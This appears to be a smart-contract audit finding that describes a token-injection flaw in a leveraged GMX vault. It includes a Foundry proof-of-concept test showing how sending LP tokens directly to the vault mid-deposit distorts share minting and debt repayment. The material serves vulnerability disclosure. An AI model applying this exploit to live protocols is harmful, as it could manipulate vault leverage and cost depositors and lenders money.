M-21. Token injection leads to unintended behavior of vault

plain text
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
import { console, console2 } from "forge-std/Test.sol";
import { TestUtils } from "../../helpers/TestUtils.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { GMXMockVaultSetup } from "./GMXMockVaultSetup.t.sol";
import { GMXTypes } from "../../../contracts/strategy/gmx/GMXTypes.sol";
import { GMXTestHelper } from "./GMXTestHelper.sol";

import { IDeposit } from "../../../contracts/interfaces/protocols/gmx/IDeposit.sol";
import { IEvent } from "../../../contracts/interfaces/protocols/gmx/IEvent.sol";

contract GMXDepositTest is GMXMockVaultSetup, GMXTestHelper, TestUtils {
function test_POC2() public {
uint256 lpAmtUser1 = 0.000005e18; //~400$ (because price of lpToken = 79990000$)

//In the setup, the owner receives a few lpTokens, which are now sent to user1 for testing the token injection
vm.startPrank(owner);
IERC20(address(WETHUSDCpair)).transfer(address(user1), lpAmtUser1);
vm.stopPrank();

//Owner deposits in Vault
vm.startPrank(owner);
_createDeposit(address(WETH), 10 ether, 0, SLIPPAGE, EXECUTION_FEE);
vm.stopPrank();
mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));

//Variable for Assertion
(,uint256 debtAmtTokenBBefore) = vault.debtAmt();

vm.startPrank(user1);
_createDeposit(address(WETH), 0.1 ether, 0, SLIPPAGE, EXECUTION_FEE); //User1 creates deposit. The 0.1 ether is being leveraged
IERC20(address(WETHUSDCpair)).transfer(address(vault), lpAmtUser1); //User1 injects lp-tokens between createDeposit and processDeposit. They are not leveraged
vm.stopPrank();
//In step one, the equity was saved before the deposit. The equity depends on the LP amount and the debts to the lending Vaults. In step two,
//the saved equity is used alongside the current equity to calculate how many Vault shares a user receives. This way, user1 receives shares
//for their injected tokens that do not have any leverage.(so no borrowing from the lending vaults was done for these tokens)
mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));

//User1 withdraws all his tokens.
uint256 vaultSharesAmount = IERC20(address(vault)).balanceOf(user1);
vm.startPrank(user1);
//In the case of a withdrawal, the debts to the LendingVaults are also repaid. Since it is assumed that all tokens have been leveraged, there
//is a mistaken repayment to the lending vaults for the injected tokens as well.
_createAndExecuteWithdrawal(address(WETH), address(USDC), address(USDC), vaultSharesAmount, 0, SLIPPAGE, EXECUTION_FEE);
vm.stopPrank();

//Variable for Assertion
(,uint256 debtAmtTokenBAfter) = vault.debtAmt();

//After User1 withdrew their LP tokens, the debt amount for TokenB would normally be approximately the same as it was before User1 deposited.
//However, due to the unleveraged tokens, more debt was repaid, resulting in a lower debt and, consequently, lower leverage than before.
assert(debtAmtTokenBBefore - 750e6 > debtAmtTokenBAfter); //750e6 == $750. This is to show that the debt is significantly less than before

console.log("debtAmtTokenBBefore: %s", debtAmtTokenBBefore);
console.log("debtAmtTokenBAfter: %s", debtAmtTokenBAfter);
}
}

plain text
File: GMXChecks.sol#afterWithdrawChecks
207: if (GMXReader.lpAmt(self) >= self.withdrawCache.healthParams.lpAmtBefore)
208:       revert Errors.InsufficientLPTokensBurned();